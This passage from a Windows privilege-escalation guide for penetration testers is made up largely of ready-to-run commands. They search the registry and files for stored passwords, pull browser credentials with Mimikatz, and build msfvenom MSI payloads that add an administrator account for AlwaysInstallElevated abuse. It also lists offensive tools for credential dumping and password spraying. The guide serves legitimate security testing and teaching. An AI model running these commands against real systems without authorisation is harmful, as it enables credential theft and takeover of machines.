To recover passwords saved by several programs you can use: http://www.nirsoft.net/password_recovery_tools.html

Inside the registry

Winlogon credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

Other possible registry keys with credentials

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" #Autologin
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s #Check the values saved in each session, user/password could be there
reg query "HKCU\Software\OpenSSH\Agent\Key"

# Search for passwords inside all the registry 
reg query HKLM /f password /t REG_SZ /s #Look for registries that contains "password"
reg query HKCU /f password /t REG_SZ /s #Look for registries that contains "password"

Extract openssh keys from registry.

Tools that search for passwords

The tool SessionGopher search for sessions, usernames and passwords of several tools that save this data in clear text PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Browsers History

You should check for dbs where passwords from Chrome or Firefox are stored.
Also check for the history, bookmarks and favourites of the browsers so maybe some passwords are stored there.

Tools to extract passwords from browsers:

• Mimikatz: dpapi::chrome
• SharpWeb****

Generic Password search in files and registry

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Search for a file with a certain filename

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Search the registry for key names and passwords

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

AlwaysInstallElevated

If these 2 registers are enabled value is **0x1**, then users of any privilege can install execute *.msi files as NT AUTHORITY*SYSTEM*.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated

PowerUP

Use the Write-UserAddMSI command from power-up to create inside the current directory a Windows MSI binary to escalate privileges:

Write-UserAddMSI

Just execute the created binary to escalate privileges.

MSI Wrapper

Read this tutorial to learn how to create a MSI wrapper using this tools:

{% page-ref page="msi-wrapper.md" %}

MSI Installation

To execute the installation of the malicious .msi file in background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

To exploit this vulnerability you can use: exploit/windows/local/always_install_elevated

WSUS

You can compromise the system if the updates are not requested using httpS but http.

You start by checking if the network uses a non-SSL WSUS update by running the following:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

If you get a reply such as:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
      WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer is equals to 1.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

You can use: Wsuxploit - This is a MiTM weaponized exploit script to inject 'fake' updates into non-SSL WSUS traffic.

{% file src="../../.gitbook/assets/ctx_wsuspect_white_paper 1.pdf" %}

Write Permissions

Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account schedtasks.

A way to find weak folder/files permissions in the system is doing:

accesschk.exe /accepteula 
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Leaked Handlers

Imagine that a process running as SYSTEM open a new process `OpenProcess()` with full access. The same process also create a new process `CreateProcess()` with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

A pipe is a block of shared memory that processes can use for communication and data exchange.

Named Pipes is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It's very similar to client/server architecture as notions such as a named pipe server and a named pipe client exist.

When a client writes on a pipe, the server that created the pipe can impersonate the client if it has SeImpersonate privileges. Then, if you can find a privileged process if going to write on any pipe that you can impersonate, you could be able to escalate privileges impersonating that process after it writes inside your created pipe. You can read this to learn how to perform this attack.

Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: "Windows Help and Support" Windows + F1, search for "command prompt", click on "Click to open Command Prompt"

From Administrator Medium to High Integrity Level / UAC Bypass

****Learn here about what are the "integrity levels" in Windows, what is UAC and how to bypass it.

From High Integrity to System

New service

If you are already running on a High Integrity process, the pass to SYSTEM can be easy just creating and executing a new service:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

From SeDebug + SeImpersonate to Full Token privileges

If you have those token privileges probably you will find this in an already High Integrity process, you will be able to open almost any process not protected processes with the SeDebug privilege, copy the token of the process, and create an arbitrary process with that token.
Using this technique is usually selected any process running as SYSTEM with all the token privileges _yes, you can find SYSTEM processes without all the token privileges_.
You can find an example of code executing the proposed technique here.

Named Pipes

This technique is used by meterpreter to escalate in getsystem. The technique consists on creating a pipe and then create/abuse a service to write on that pipe. Then, the server that created the pipe using the SeImpersonate privilege will be able to impersonate the token of the pipe client the service obtaining SYSTEM privileges.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

If you manages to hijack a dll being loaded by a process running as SYSTEM you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far more easy to achieve from a high integrity process as it will have write permissions on the folders used to load dlls.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

****https://github.com/sailay1996/RpcSsImpersonator****

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS****

PS

****PowerSploit-Privesc(PowerUP) -- Check for misconfigurations and sensitive files [check here](). Detected.
JAWS ****-- Check for some possible misconfigurations and gather info [check here]().
privesc -- Check for misconfigurations
SessionGopher ****-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.
Invoke-WCMDump ****-- Extracts crendentials from Credential Manager. Detected.
DomainPasswordSpray -- Spray gathered passwords across domain
Inveigh -- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.
WindowsEnum -- Basic privesc Windows enumeration
Sherlock ~~~~-- Search for known privesc vulnerabilities DEPRECATED for Watson
WINspect ~~~~-- Local checks (Need Admin rights)

Exe

Watson ****-- Search for known privesc vulnerabilities needs to be compiled using VisualStudio [**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson)
SeatBelt ****-- Enumerates the host searching for misconfigurations more a gather info tool than privesc needs to be compiled (precompiled)
LaZagne -- Extracts credentials from lots of softwares precompiled exe in github
Beroot ~~~~-- Check for misconfiguration executable precompiled in github. Not recommended. It does not work well in Win10.
Windows-Privesc-Check -- Check for possible misconfigurations exe from python. Not recommended. It does not work well in Win10.

Bat

****winPEASbat -- Tool created based in this post it does not need accesschk to work properly but it can use it.

Local

Windows-Exploit-Suggester -- Reads the output of systeminfo and recommends working exploits local python
Windows Exploit Suggester Next Generation -- Reads the output of systeminfo andrecommends working exploits local python

Meterpreter

multi/recon/local_exploit_suggestor

You have to compile the project using the correct version of .NET [see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/). To see the installed version of .NET on the victim host you can do:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Bibliography

http://www.fuzzysecurity.com/tutorials/16.html
http://www.greyhathacker.net/?p=738
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
https://github.com/sagishahar/lpeworkshop
https://www.youtube.com/watch?v=_8xJaaQlpBo
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
https://github.com/frizb/Windows-Privilege-Escalation
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://github.com/frizb/Windows-Privilege-Escalation
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html